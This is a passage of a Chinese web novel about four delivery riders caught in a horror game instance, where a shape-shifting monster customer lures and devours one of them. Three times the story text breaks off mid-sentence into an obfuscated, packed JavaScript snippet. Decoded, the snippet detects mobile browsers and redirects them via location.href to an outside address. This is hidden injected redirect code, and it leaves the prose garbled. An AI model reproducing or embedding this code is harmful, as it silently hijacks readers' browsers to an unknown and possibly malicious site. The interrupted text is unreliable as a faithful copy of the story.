四人在花园紧挨着的马路一侧停下摩托车，何兆地掏出手机拨通电话—— “喂？请问是李莉女士吗？您点的外卖到了，麻烦您出来取一下吧。” “你在哪？” “李女士，我已经到您家花园门口了。” “我刚洗了澡不想出门，你直接进来到前厅门那里给我吧。” “好！”何兆地带着一丝即将完成今晚唯一的任务的放松和不易察觉的喜悦，从筐里取出拉面，“嗯！还是热的。我们应该不会被投诉了吧。” “要是面坨了，希望她别投诉我们。”宋裴度冷冷道。 汪橦觉得自己的右眼皮跳得快让自己不能专心眼前的一切。 何兆地一只手拎着外卖，一只手打开手机手电筒照亮前方。他侧身推开那木制的花园矮门，众人看不清他背影只看到一束白光在黑夜中闪烁着，直到某处停下。汪橦看着光停处，心想那里应该就是正经的房门。 “咚咚咚。”众人听到敲门声。 “呲…拉…”厚实的大门被人从里面拉开。 “李女士，麻烦你……！？”何兆地的声音像是被人捏在喉咙里戛然而止。三人不解的同时，不安的气氛在他们中急剧上升。 “啪！”有东西落地。汪橦心道不妙。 一阵急促慌乱的脚步声响起。潘海祥按耐不住，当即迈开腿下车。 “慢着！”宋裴度出声喝止潘海祥，潘海祥焦急地说：“我要去看看发生了什么！” 宋裴度直接伸出手拉住潘海祥的衣袖，依旧冷静的声线也染上一丝不易察觉的焦急： “刚刚那落地的声音听着像是面摔了，这单肯定拿不了好评。你冲进去能干什么？不如等何哥出来，问他怎么回事……” 话音未落，汪橦举着手机喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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潘海祥左手一抓住汪梧桐摩托车和外卖保温筐间的连接杆，汪橦立马加大马力往前冲去。草坪再一次加快卷动速度时，汪梧桐一个急转弯，竟是借力将何兆地从花园绿植矮墙上带飞出来。 此时汪橦、潘海祥、何兆地处在马路正中，离花园稍远了一些。而宋裴度也已在无人注意时，颇有默契地将潘、何二人的摩托掉转头移至马路中央。潘、何二人赶忙骑上自己的摩托车，汪、宋二人已往来时的石墙处骑出一大段距离。 何兆地哪里是骑上摩托，他手脚发软，还未缓过神，是四肢作两手用爬上去的。以至于发动摩托时还没什么力气，晚了潘海祥几秒，潘海祥的摩托车像火箭似的冲出去，何兆地还停留在马路中央，原地“嘟嘟嘟……”发动机打火一阵一阵地打起又复歇。他哆嗦着快哭了，拼尽力气扭住车把手，脚踩踏板。 “老潘……” 潘海祥听到这么声颤巍巍的呼唤，回头一看，竟是咬牙又要转头回去接何兆地。 汪橦和宋裴度已经抵达到古淹社区外的石墙装饰牌那里，看到此情此景同样焦急上火。什么外卖、好评、任务都不要紧，眼前最紧迫的是四个人今晚能不能保住性命。 而009幢楼从何兆地突然被汪橦拉走后，开始抓狂，俨然不装了，整栋楼体扭曲着晃动。一分钟内，009幢楼已变成某种爬伏的生物，伸长脖子，显然要突破花园与马路的边界，张着大口咬住眼前的猎物。 何兆地危在旦夕！ 说时迟那时快，汪橦身旁的宋裴度猛地发力，“咻！”地一下骑着摩托车冲向何兆地，气势惊人。潘海祥都被惊到了。 汪橦顿时想起自己觉得宋裴度像有钱人还有一个原因，他骑上通体漆黑的摩托的样子像极了自己生前在现实世界的电影院里看到的DC电影中黑夜骑士蝙蝠侠……遗憾的是，好特快公司统一配备的摩托不能变形成蝙蝠侠的跑车。 所幸好特快公司的摩托车深刻诠释了“一分钱一分货”的道理，在二十秒不到的时间成功带回了何兆地。009幢楼的身体似乎被某种透明的框架限制住，迫使它只能伸出上半身，用脖颈追赶着宋裴度、何兆地。 “咔滋。”009幢楼一口尖利的牙齿咬下，咬了一嘴空气。它发怒了，却只能眼睁睁看着古淹社区外骑着车的四人逃出生天。 转回脖子，看着马路旁还停着一辆摩托车，泄愤似的一口吞入腹中，009幢楼难耐地仰天长啸。 此时虽已跑远却仍在第七大道边缘的汪橦四人俱是一惊，这怪物的声线分明和李莉的声线一模一样！ 四人一路狂飙，直到跑出池塘区，才停在路边歇口气。何兆地环着宋裴度的腰，泪流满面，弱气地说到：“这可怎么办啊？我们的订单……” 何兆地哆哆嗦嗦地讲述了自己拿着食盒进入别墅，一切都和往常送外卖到顾客家门口等对方来拿的情况没什么分别，直到何兆地敲响门时，他打开手机正想点外卖送达键，大门就被拉开了。 潘海祥不解：“前面这段有什么问题吗？” 何兆地满眼惊慌：“不，你不懂。我是敲了门没错，但是我敲第一下的时候门就开始被拉动了。她一直在门后等我！她是有预谋的！我一进花园就感受到某种视线，我原以为我多想了……而且短短十米，我离门越近浑身越冷，就像进了某种洞穴。” 潘海祥拍了拍何兆地的肩，安抚着他。 何兆地深吸一口气继续说下去：“她看见我就咧开嘴笑了，可是她的嘴角都裂开了她毫无知觉。我没忍住手抖，被她看见后笑得更开心了，我分明看见她脸部开始快速变形，生出细密的毛，嘴部拉扯变形成某种昆虫的口器，瞪眼再看她还是那副笑得瘆人的嘴脸。” “我一边想让她确认订单已送达，一边将食盒递过去。正要交到她伸过来的手上，我的小腿肚分明被某种尖锐的突刺碰到了。她的身影开始摇晃，我怕得不行，注意着自己的手指不碰到她的手。把食盒往她手里一塞就往外跑，没想到她没接稳把食盒摔了。” 说到这里，何兆地脸上又皱成一团，流露出愧疚的神情：“抱歉……我搞砸了。” “叮！”这时，汪橦举着手机，在幽微的屏幕光照射下神色复杂地说：“没关系，订单……显示已经完成了。甚至，还有五星好评。” 4. 古淹泥潭（2） 其余三人皆蹙起眉，表情凝重。显然这个五星好评是李莉的陷阱，领队看到后必然认为四人配送很成功，让他们第二天继续送李莉的单。 潘海祥爆粗：“什么？！马/德/，这娘们想吃了老何不够，还要给五星好评逼我们继续去送命。如果明天领队的还让我去送，我就辞职！” 答案呼之欲出：拉面从来不是重点，活生生的人才是李莉的食物。汪橦心中关于李莉和餐厅老板，餐厅和泥呷市好特卖公司的关系有不少的推测，不过她要等到今晚方能验证。 宋裴度面上依旧淡定，但他额角的汗珠出卖了他不平静的心。 宋裴度开口说道：“潘海祥，我有三点要提醒你。第一，不是明天，是今天晚上咱们将面临送命的第二次局面；第二，你想清楚辞职不干的后果；第三，李莉不是想吃何哥，她是想吃我们所有人，不过迫于规则只能选择吃何兆地。”说到第二点时，汪橦听出宋裴度语气隐含警告。 汪橦疑惑发问：“为什么不能辞职？” 听罢此话，剩下三人都很惊讶地望向她。 “你难道不是玩家？” “玩家？我就是一个刚转正的外卖员。”汪橦面露不解，警报拉响，她脑海中并没有接收到来自系统的关于第一个副本的任何提示。她原本以为今夜只是她作为大世界的外卖员接取的一份虽然有危险但不是游戏的普通订单。摸不清状况的汪橦决定先装傻。 宋裴度发问：“我们三都是因为意外，和系统签订契约踏入这场游戏。你不是因为意外才来到这里过副本吗？” 汪橦回想起之前潘海祥口误说的“系统”是指的什么了…… 她不明白自己的系统出了什么差错，只好点头表示自己是现实世界里出车祸死去，醒来就身处这个世界并打工成为外卖员。汪橦心虚地承认了一半事实，她想自己这样只能算隐瞒，不算蓄意欺骗吧。 宋裴度好看的眉蹙起，他托住下巴思考半晌，和潘海祥、何兆地二人眼神交汇一番后，伸出手点亮虚空某处。他问汪橦：“你看得见眼前我的游戏界面吗？” 汪橦眨眨眼，摇头，心里已经将该死的系统骂了一百遍，总系统就这么不中用吗？ 宋裴度露出担忧的神色，重重叹口气。这是汪橦除开刚才在古淹社区里宋裴度焦急的神情外，第二次见他情绪外露。汪橦意识到宋裴度并不是自己想象的那么高冷。 宋裴度只好向汪橦解释一切—— 三人本以为她是玩家，没想到她属于这个游戏里的原住民。他们第一次见到有原住民混进玩家队伍里，所以混淆了汪橦的身份。 四人现下有过命的交情，既然如此，他们在这一局副本里会向汪橦共享信息，以免她不明不白死去。只是副本通关后，她们就会离开泥呷市被传送回玩家集散地，以后汪橦送外卖自己小心别又是副本任务。其他玩家可不会同宋、潘、何三人这般善良。 “玩、玩家集散地？” “对，游戏玩家有统一的住所，当然这是需要游戏内积分支付的。” 汪橦恨恨地在心里再一次想撕碎可恶的、不靠谱的001系统。为什么她要待在大世界？为什么她要辛苦挣钱？为什么副本开始了她却看不见游戏面板？她的特殊性在哪里？！难道这不是她的副本任务？但是她明明也要面临相同的危险！ 宋裴度继续解释玩家只要开启主线任务，就不可能中途退出。假如潘海祥辞职，会被视作抗拒系统，直接抹杀掉。所以潘海祥的气话只可停留在说说而已，除非他故意寻死。 宋裴度不自觉歪头盯着汪橦，自言自语：“你也是因为意外才穿越到这个世界，怎么就不是玩家呢？” 何兆地已缓过神来打开自己的游戏界面，喊潘、宋看系统界面更新的提示。三人看后由宋裴度负责告诉汪橦系统更新的规则提示。 原来这是一个规则类副本。 【玩家：宋裴度 主线任务：2/12（进行中） 副本名称：人生百态之外卖员七日谈 类型：规则类 副本描述： “从空气里赶出风 从风里赶出刀子 赶时间的人没有四季 只有一站和下一站 世界是一个地名 泥呷市也是……” 玩家们将体验一位普通外卖员的一周，请注意：拿到三次五星好评（1/3）或七天配送成功（1/7）皆视为任务完成，即可通关。】 由于系统检测到玩家开启主线任务进程之一——接取李莉的订单并成功获得第一个五星好评，更新提示如下： 【规则一：当向李莉配送时，请注意四周千变万化的房屋。 规则二：不要接近李莉的住所！ 规则三：当李莉尝试劝说你上门时，请合理地拒绝。如果她仍然坚持要求你上门，请求助古淹社区居民。 规则四：如果见到活着的古淹社区居民请无视他们。 规则五：古语云，灯下黑。 加油，玩家们！ 胜利终将属于你们，当然如果你们一直活着的话……嘻嘻……】 宋裴度收起汪橦本就看不见的系统界面，再次告诫汪橦倘若她以后送外卖的时候意识到身处副本，和一群玩家一起，她一定要小心被推出去试探规则。 玩家们进入游戏经常遇见需要先死人才会出现具体的任务细节提示，玩家们互相下手是一码事，可遇到NPC在队伍中，那么率先吃刀的毫无疑问是NPC。诚然这个世界的原住民也是有血有肉的生命，但对于玩家来说，他们只是NPC。 汪橦慎重地点头，表示自己将三人的提醒都记住了。她欲言又止，想和盘托出自己也是玩家的事实，但她尚未弄明白自己身上的系统发生了什么差错，此刻说也说不清。或许等副本结束后，四人一同通关，她才能安心告诉他们真相并诚恳地为自己的隐瞒道歉。 四人打道回府。 汪橦回到自己的员工宿舍时，已经快接近凌晨五点了。这个夜班上得……她微不可察地叹了一口气，将脖子上挂着的工牌摘下往房间正中央的方桌上一扔，整个人摔进床褥中。她太累了，手甚至一直在发抖，不仅是身体，精神疲倦感一并涌上，吞没了她。 汪橦一沾上枕头，便陷入昏睡。她仿佛置身于一片黑暗，远处有一束光。她意识到这是她的梦，梦里如果自己动手动脚，醒来会更累。所以她一动不动，继续待在属于她的那份黑暗里。 远处的光束晃了晃，似乎在示意汪橦“你过来呀～”等待了几分钟，它又晃了晃，这么重复了好几次，那束光似乎失去了耐心，唰地从远处移到汪橦面前。 汪橦在黑暗中骤然直视一团强光，反射性地紧闭上眼。那光发现汪橦竟敢无视自己，愤怒地抖动身子，可惜无视它的那个人没能看见，继续保持对它的无视。黑暗如水温柔地伸开看不见的手掌安抚光团，那束光从手电筒大小慢慢被黑暗晕染至一体。汪橦发现眼皮外的光晕似乎彻底消失后便慢慢掀开眼皮，这时她突然听见耳畔响起一声温柔的叹息：“橦橦……” 她的身子陡然一晃。 “别怕，等一切结束的时候……你就……知道……了……” “什么，意思？” “这下好好睡吧……” 汪橦还未来得及从这酷似她母亲声线的神秘声音处得到答案，便被身后更浓郁的黑暗张开五掌拉入怀抱，她彻底睡死过去。 醒来已逾午后，汪橦草草洗漱番，收拾工牌时发现桌上多了一张白纸。她拿起一看是一张再普通不过的白纸，纸面上什么也没有，便随手一扔，出门去了。她已经忘记梦里的一切…… 坐电梯来到五楼是宿舍内部的员工食堂，食堂于每天早上7:00-8：30，午间11：30-14:00，晚间18:30-20:00开放。汪橦她们晚班的员工一般只在这里解决早午饭。 汪橦一迈进去就看见了已经坐在桌前的宋裴度。凌晨回来的时候，汪橦表示很惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接下来，两人又挑了诸如扳手的五金工具，最终付款的是宋裴度，他拒绝了汪梧桐坚持要求AA的请求。在这个世界里，五金工具自然也有优劣之分，这家店卖的可不便宜，甚至于称得上昂贵。汪橦日结的工资前几天购置各项物品其实已经花得七七八八，是以她感激地注视着“财神爷”宋裴度表示自己不知道该怎样感谢他得好。 宋裴度大手一挥，表示不必客气，都是为了保命。他付了钱也是为了自己，只是顺便能保护另外三人罢了。 等到下午交接时，不出四人所料，张队狠狠夸奖了她们第一天就服务得原本挑剔的顾客如此满意的表现。四人无奈——顾客是挑剔，但不是挑剔服务，是挑剔食材，人家压根不想吃拉面，是想吃他们！ 你以为送的是外卖，实际上送的是你自己。 只是……除了高兴的领队以外，汪橦左顾右盼发现不止他们，另外三组的氛围也……咦？汪橦数了数大家的数量：“一、二、三……九、十！” 汪橦再次确认一番，发现自己没有数错。真的少人了！ 这意味着，除了他们四人全员生还，其他两组平均每组都少了一个人。 汪橦悄悄扯了扯宋裴度的衣袖，在他背后踮脚气声问道：“他们也是……”“嗯。”宋裴度一个字便回答了汪橦的疑虑。这十二个人包括汪橦自己，都是玩家。第一天晚上便死了两个玩家。 奇怪的是，汪橦听见领队还表扬了负责老外Cassandre的那组，她抬眼去找，印象中有一对憨憨的双胞胎——李鹌、李鹑，却是怎么也不见。难道死的两个玩家竟然还是同一组的？！这一组也拿到了五星好评，如今他们却只剩下董坤、钱逐昊两人。 汪橦不禁打个寒颤，Cassandre比李莉还可怕吗？这些人都是玩家，应该对副本有很强的警惕心。即使李鹌、李鹑看起来憨厚，也不像是会到死都傻乎乎的类型。怎么回事？ 更可怕的是，领队似乎不曾注意到队伍中少了人。他发现三组中有两组拿到五星好评后，便面露兴奋，陷入一种狂喜，继续叮嘱他们不要惹顾客生气，给公司添麻烦。 四人各怀心事去车库取了摩托车，朝着中州牛肉拉面连锁餐厅（池塘区）驶去。 5. 古淹泥潭（3） 汪橦猛地甩开玻璃门，冲进餐厅前堂。潘海祥紧随其侧，在汪橦的眼神示意下揪住餐厅老板的衣领。 餐厅老板一看来人是昨天的几位外卖员，惊诧的表情怎么也掩饰不住，仿佛在说“你们怎么没死？” 四人将老板的表情看得一清二楚，更加确定他什么都知道，昨天故意不说就是为了送四人去死。何兆地默默将下车时宋裴度从车后箱里掏出的U型锁挂在了餐厅玻璃门上——锁是汪、宋二人在五金店一道买的。 宋裴度掏出一把钉枪——同样来自五金店，示意餐厅内其他还在用餐的顾客保持安静，接着将枪递给汪橦。潘海祥揪着老板衣领把他往汪橦面前带，老板不得不屈腰，主动将双眼奉送到汪橦手里对准他的枪口前。 汪橦问：“老板，说说李莉和你的关系吧。”边说边把枪往前送了两寸，冰冷的触感直接抵在老板的眼皮下方。 昨天还一身横的老板此刻知道眼前四人能从那处全身而退已是不好惹的，哪里还敢作威作福。他堆笑讨饶道：“几位不要和我计较。我也不是有意的，如果你们不去配送，死的便是我。我实在没办法忤逆那位啊。”说到最后已是带上几分恳求之意。 “继续。”汪橦手上使劲。 “哎，别别……我说我说。”老板深吸口气像是下定决心般开口坦白，“那位是一个半月前开始购买我店里的拉面。她并非天天点，而每周点四次，由于她胃口很大，每次都能点几十份食物，所以我对她印象很深。” “可是店里负责配送的员工只要去了古淹社区就再也联系不上……第一周店里雇佣的四名配送员全部消失。我又恼怒又疑惑，于是我做了一个后悔的决定——第二周的时候我亲自配送。”老板仿佛再次亲历让他无比恐惧的事，打了个寒颤，继续讲到：“我拎着几十份拌面，为什么我会记得是拌面……因为如果是更重的汤面，见到那样的房屋，我会当场打翻食物吧。如果是这样，我绝无机会逃出来。” “那个东西很狡猾，它在不断学习被它吃掉的人的记忆。我去送的时候，它应该是才搬来不久，还不会掩饰自己。古淹社区坑坑洼洼的哪里像富人社区。我无法把车骑进去，只好下车步行。走在小路上，仿佛踩在沼泽上。你们懂那种黏腻的、湿漉漉的触感吗？” 汪橦回忆起自己摸到的石墙的触感，很不妙啊。 手底下老板陷入回忆的泥潭，喋喋不休：“我看到蜘蛛的巢穴，幽深之处有一双金黄色的瞳孔。我和那双眼睛对视，无法动弹，可为什么我觉得我浑身一直在发抖呢？我快拎不住面了。我听见嘶哑的声音——它是在命令我走近、走到那双眼睛面前。” 汪橦感到手底下老板的大块头抖动得愈发厉害，一旁的潘海祥立刻手上加大力气压住老板的脖颈，勉强使他恢复镇静。 老板定定神复开口：“接下来的事，我记不清了。但我记得我告诉它杀了我，餐厅就没人能做饭给它吃。几十份拌面留在那里，至于后来我是如何浑浑噩噩地回到餐厅，我也记不清。 第二天我叮嘱餐厅的员工，我不打算再雇佣专门的配送员，于是让原先负责柜台点单和后厨打杂的伙计暂时兼职几天配送的工作。我告诫过他们去古淹社区配送的时候一定要小心别走近看见的眼睛，尽量离湿漉漉的东西包括墙壁之类的东西远一点。 可是我没想到他们去了也没再回来，我不能告诉员工发生了什么，我不能。店里的员工越来越少……于是我下定决心又去了一次。” 汪橦这时没忍住，上手狠狠扇了老板那滑腻的脸庞一巴掌。一声不轻的“啪”打醒了沉浸在自己叙事里的老板，也唤回同样沉浸于他叙事里的宋、潘、何三人。其他顾客汪橦没心思管，也管不着他们的反应。 汪橦咬牙切齿道：“我猜你接下去要讲的是你和它达成协议，你送新鲜的外卖员给它，让它一段时间内不要再对你店里的员工下手。你赶紧和另外几家餐厅来找好特快公司合作，是吧？” 老板龇牙咧嘴地揉着脸，点头。在忍无可忍无需再忍的群殴后，四人满足地起身，打开玻璃门将旁的顾客全部赶走，也不许他们付账。老板欲哭无泪，但面对四人的怒火，他只能怂。 汪橦找了个椅子随意坐下，但手中钉枪一直小心保持对准老板头部的姿势。她一锤定音地说：“我们会负责配送李莉的订单，但是你必须好吃好喝地伺候好我们。否则我们将你这店砸了，李莉点单，连店都没了，我们还怎么配送呢？到时候要找顶锅的人，她也是找你。你最好心里有数，别想着背后打小报告。” 老板不停地点头，四人见状终于发善心放开他。但汪橦与潘海祥依旧跟去后厨盯住老板，以免他在饭里弄幺蛾子。 四碗普通的牛肉拉面上桌，老板被反锁在餐厅门外，四人放心地坐下动筷。 汪橦吃完后突然想到今天领队不合理的表现，问道：“张队一直对他负责的员工关怀备至，为什么今天开会时他完全没有注意到负责外国人的组少了两个人呢？” 宋裴度摇头：“游戏里偶尔会出现NPC失常的情况，不必在意。”他顿住，看着眼前长相清隽，非必要一直保持安静的前大学生，“倒是你，汪橦，明明是原住民，可是你很理智。老实说刚刚你的表现出乎我意料。” 汪橦柔顺的黑发垂落肩旁，耳畔有几缕发丝贴着脸颊，显得她乖巧可爱，但宋裴度知道汪橦绝不是一个听之任之的乖学生。事实上，从她面不改色能拿钉枪怼在老板眼皮上足以看出眼前这个正笑意吟吟跟他们说话的女生是个心狠手黑的笑面虎。 汪橦听完笑出声：“可能因为我生前是个刚被大型考试折磨过的大学生？已经被磨平了心态？……NPC对你们玩家而言是过客，可我却要和他们长期相处。我很好奇，你们结束这次的副本以后，张队、老板，他们将变成什么样？我呢？” 宋裴度、潘海祥、何兆地三人作为玩家，对完成五星好评提前脱离副本不抱有成功的希冀，他们希望能安全送达外卖，直到一周后脱离副本。 对汪橦而言，虽然她大可以选择辞职不当外卖员，可身处一个诡异的世界，进不去玩家集散地的她想要弄清楚发生了什么。否则即便逃避一时，她也会在某个偶然的时机中，如同被地铁嚼碎的中年男子一样，毫无尊严的死去。 “你们成为玩家前都是干什么的？”汪橦好奇发问。 “我是外科医生。”宋裴度的答案不出汪橦意料，他身上的确有医生波澜不惊、谨慎果断的气质。 潘海祥的回答却让人意外，“我是一名程序员。” “啊？！”汪橦承认自己对程序员抱有刻板印象，只是潘海祥这壮实的身板、结实的肌肉是如何在加班的空隙锻炼出来的……至于何兆地，他是一名小学老师。 “你呢？你是学什么专业的？” 汪橦索性当着玩家三人的面重新介绍自己：汪橦，生前某一本大学哲学系学生，毕业后兼职送外卖出车祸而转生到异世界继续送外卖。 四人的闲谈持续没多久，APP响起订单提示音： 【姓名：李莉 收货人虚拟号码保护中，外卖员不可见。送达地点后请外卖员直接点击此处图标，即可拨通收货人电话。 订单：中州牛肉拉面连锁餐厅（池塘区）-木屑鞋油拌面二十五份，笋干虾头高汤面十份，卤虫脑五份。 地址：泥呷市池塘区第七大道古淹社区第九幢楼009号室 备注：无】 在盯着老板老实打包好所有李莉的餐后，每个人装了几份放入自己的车箱中，骑车朝古淹社区驶去。 离古淹社区越近，紧张严肃的氛围越凝实，宛若沉甸甸的担子压在每个人头上。昨天他们怕迟到一路风驰电掣，今天却恨不得在最后一分钟才抵达门口。可惜再长的路都有尽头。熟悉的石墙上仍是“古淹社区”的金属装饰牌，没有大门门禁，没有保安确认他们的骑手身份。石墙中间的大马路径直畅通连接了社区内。 “弃我去者，昨日之日不可留；乱我心者，今日之日多烦忧。走吧，潘哥，该来的总会来，多想无益。”汪橦骑上前拍拍潘海祥的左肩。 他们在餐厅时商量好了队形——考虑到逃生，四人这次不再是车头朝社区内，而是车头朝向社区外停靠在离路边稍有距离处，以防直接被李莉的房子拉进去。 潘海祥力气最大，由他负责拿着下午汪橦、宋裴度从五金店买来的伸缩金属杆。其他人将食物挂在杆头后，汪橦负责扭动操控金属杆长度的螺旋衔接处。 宋裴度的摩托车是四人纵型队列之首，他的车后杆与潘海祥车头把手被U型锁连着，假如遇到危险，潘海祥手没空，宋裴度会直接发动车带领所有人跑。因此宋裴度不会下车，何兆地负责警戒四周是否有变化。 已知李莉会变形房屋，所以留一个负责警戒的人是十分必要的。规则强调绝对不能靠近她的房屋，但是又必须送到食物，让她满意，那么金属杆挂着食物探进门口是值得尝试的对策。 至于李莉的劝说，只要玩家给出“合理”的拒绝理由，即使对方再不情愿也只能遵守系统规则，乖乖放她们走。 来到熟悉的009幢别墅前，汪橦站在马路上，拨号给李莉。因为她外放，于是四人听得一清二楚从另一端传来的阴恻恻的声音：“你们来了啊。” 不同于昨日清脆的女声，今日李莉的声线似乎沙哑了许多，如果不是众人保留了昨日的记忆，猛然一听会以为李莉是一个上了年纪的女性。 “李莉女士，外卖到了。麻烦你开门取餐。”汪橦清清嗓子，朗声回复。 “嗯？”四人听见电话另一头似乎有衣物摩擦的声音和走动声，过了半分钟，李莉在那边哑声叫起来：“骗子！你们竟然欺骗我！你们在哪里呢？” “李女士，你开门就可以看见按照你要求送达的食物。你是没有开门吗？” …… 短暂的沉默后，一阵急促的咳嗽声从电话那头突兀地响起。“咳咳咳，可是我一个老太婆重感冒，实在不能开门走出来。冷风一吹，我的病，咳咳，又要加重了。你们就不能体谅体谅我这个老婆子，送进来一下好吗？” 【规则二：不要接近李莉的住所！ 规则三：当李莉尝试劝说你上门时，请合理地拒绝。如果她仍然坚持要求你上门，请求助古淹社区居民。】 显然昨晚的李莉用了刚洗完澡不想出门的借口成功骗取何兆地进入花园，走到别墅门前。以至于何兆地违反了规则一，幸好其他三人及时捞出他。 今晚李莉故技重施，她知道除非玩家用了“合理”的借口拒绝，她才需要遵守规则的限制，在无接触情况下，乖乖取下挂在金属杆上的食物。 可惜她不知道汪橦四人已经知道了这条规则三。 电话这端，汪橦突然开始急促地咳嗽，就连频率都和李莉咳的频率保持一致。 “咳咳咳，抱歉，李女士，我也是重感冒了。我怕和您交叉感染，咳咳，让您病情加重。所以不能亲自送上门，请您见谅。” 那头李莉反应过来汪橦是在故意模仿自己，她竟然被低贱卑劣的人类嘲讽了。她再次开口请求，声音却明显低沉下去，透露出一阵阵的阴森。古淹社区此时刮过一阵大风，掀起众人衣摆猎猎。 “是吗？那麻烦你让另外的员工给我送进来吧。毕竟，咳咳，我到底是个上了年纪的人啊。” 话音未落，汪橦这头另外三人同时响起此起彼伏的剧烈的咳嗽声。显而易见，人类外卖员都“病了”……李莉十分愤怒自己被戏耍，奈何为规则所限，她被“合理”的理由说服了，不能强行要求人为配送上门。 电话那头陷入沉默。李莉意识到双方昨日撕破脸后，今日她的伪装不会让这群人类放松警惕。她恢复阴阳怪气：“哦？可是你们不怕我拿了吃的以后反将一军说我根本没有收到食物吗？这样举报你们的话，你们恐怕会受到不小的处罚。呵呵～” 话语尽处的上扬让众人很不满，不过此情此景他们早有准备。只见汪橦不紧不慢地回复：“李女士，在您下单后，我们分别于餐厅后厨老板打包时、送达您花园前时都拍照上传到APP外卖员配送过程的证据留存页面。您的举报只会降低您作为顾客的信誉度。” “你们！”汪橦等人听见李莉气急败坏地乱点手机的声响，显然她不知道APP有这个功能。李莉似乎是放弃了，老实打开门取走了餐。众人心下松了一口气，却见从房屋内部凭空扔出一堆珠宝，扔到人行道旁。“拿上你们的打赏快滚！”屋内传来李莉的声音，她又恢复到原本清脆的女声，声音由近及远，似乎她已经回到房间准备享用美食。 汪橦忙扭动伸缩杆，将杆头收回来，看见挂在杆头的食物确实消失后，松了口气。即便如此，四人也尚未动作，直到APP提示顾客已确认送达。第二天的配送虽然没能拿到五星好评，但是无伤亡成功送达对于三位玩家已是好事。一边的宋裴度和潘海祥正解开U型锁，三人都各自忙着，何兆地便自发想帮大家去将打赏拿回来。 何兆地走近人行道，他注意着脚下不去靠近花园前门的一侧。他弯腰，伸出双手想要抱起那堆珠宝：“这是，金杯吗？还有红宝石？”他一边数着，一边注意到这些珠宝虽然货真价实，但是每一件都带有锈蚀的痕迹，像是长期处于潮湿故而生了苔藓。因此，珠宝散发着暗淡的亮光，透露出诡异之色。 一道金光闪过何兆地眼前，他后知后觉地意识到如果李莉真要打赏，为什么不选择直接在APP内电子转账呢？他心道不好，直起身来匆匆迈步跑向摩托车，同时大声疾呼：“快走，打赏不能要！”可他没有发现自己转身的时候裤脚碰巧挨上了红宝石项链的宝石顶端…… 汪橦、宋裴度、潘海祥三人听到何兆地疾呼后扭头，来不及动作—— 从珠宝下方骤然冒出一根极其粗壮，宛如小孩手臂粗的蛛丝直奔何兆地后心，将他往身后（花园方向）死死吸去。潘海祥怒骂：“该死，怎么又是老何遭殃！”想效仿昨夜，骑着摩托去和蛛丝角力，将何兆地从李莉手中救出来。他正要驶到人行道旁，异变再生！ 人行道上的斑马线开始扭曲，整条人行道下方的马路一侧像舌头般动作，连人带车卷住潘海祥。 原来李莉将009幢楼的一部分变形成了人行道和窄窄的一侧马路！她知道四个人不敢再踏上花园前的人行道，于是她尽管不能侵入马路的地界，却可以缩短花园门前的距离，将人行道削窄，多余的人行道伪装为马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806241|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路，和真正宽阔的柏油路紧挨着——等着人类分辨不清、自投罗网！ 她怎么会不明白经历昨晚，自己的劝诱对四个人无效。所以她之前和汪橦的对话都是故意放松四人警惕的伪装——她想展示出自己受规则限制，不能对他们出手的模样！ 【规则一：当向李莉配送时，请注意四周千变万化的房屋。】 虽然她确实受到了规则一定程度上的限制，但是她变形的能力远比汪橦等人想象的还要复杂。相当于只要李莉愿意，她甚至可以变形成整个古淹社区，她可以利用几人的视觉错位，即使真正的马路就处在四人眼前，他们也会如李莉设计的那样走上假的马路。 而现在，生死一线中，汪橦和宋裴度发现一个绝望的事实——他们来不及救出何兆地。李莉应是吸取昨夜的教训，加快拖行何兆地的速度。至于潘海祥，也不过是摆在汪、顾二人面前的诱饵！在汪橦、宋裴度的脚步因为潘海祥被卷住停顿的刹那，何兆地被成功卷入她的地盘，神仙难救。 何兆地惨叫一声再无动静。卷住潘海祥的人行道如潮水般放下他逐渐退下。汪橦和宋裴度立即一人托住他的一只胳膊，将人架回摩托车上。 宽阔的马路中央，潘海祥一个大老爷们嘴唇发抖，红着眼眶埋怨自己对不住老何，从他的自言自语中，汪橦才知道潘、何原来在进游戏前就认识了。何兆地是个不折不扣的老实人，他刚刚绝没有私吞的想法，是真的出于帮助团队省时省力的好意才过去捡起珠宝，明明已经察觉出端倪，却仍旧牺牲了。 三个玩家都没有多想的原因在于，系统允许玩家收集副本里的金银珠宝这类硬通货向系统兑换成奖励积分。而且珠宝明明都扔到了马路上…… 一切都是转瞬即逝，留给玩家的却是需要反刍的悔恨。何兆地没有死在三人面前，虽然三人都知道他铁定人没了，但是冲击肯定及不上亲眼看见他被开膛破肚、吞吃入腹来得刺激。 汪橦、宋裴度和何兆地交情仅限于这两天，尚且保持着冷静，尽管宋裴度颤抖的手暴露了他。而潘海祥煞白着脸，显然需要更多的时间来消化事实。 宋裴度冷着脸，可手却轻拍着潘海祥的肩。汪橦忽然有个想法，想法做实的话，她更加不能让何兆地白白牺牲。或许李莉并不是想让潘海祥当诱饵，从而专心得到何兆地。而是她从一开始就只能得到何兆地一个人，她不能在同一个夜晚吃两个人类，这违背系统的规则。因此她不得不用潘海祥来掩盖自己的真实意图。如果可以，她根本不可能放弃眼前这么大块头的潘海祥不吃。 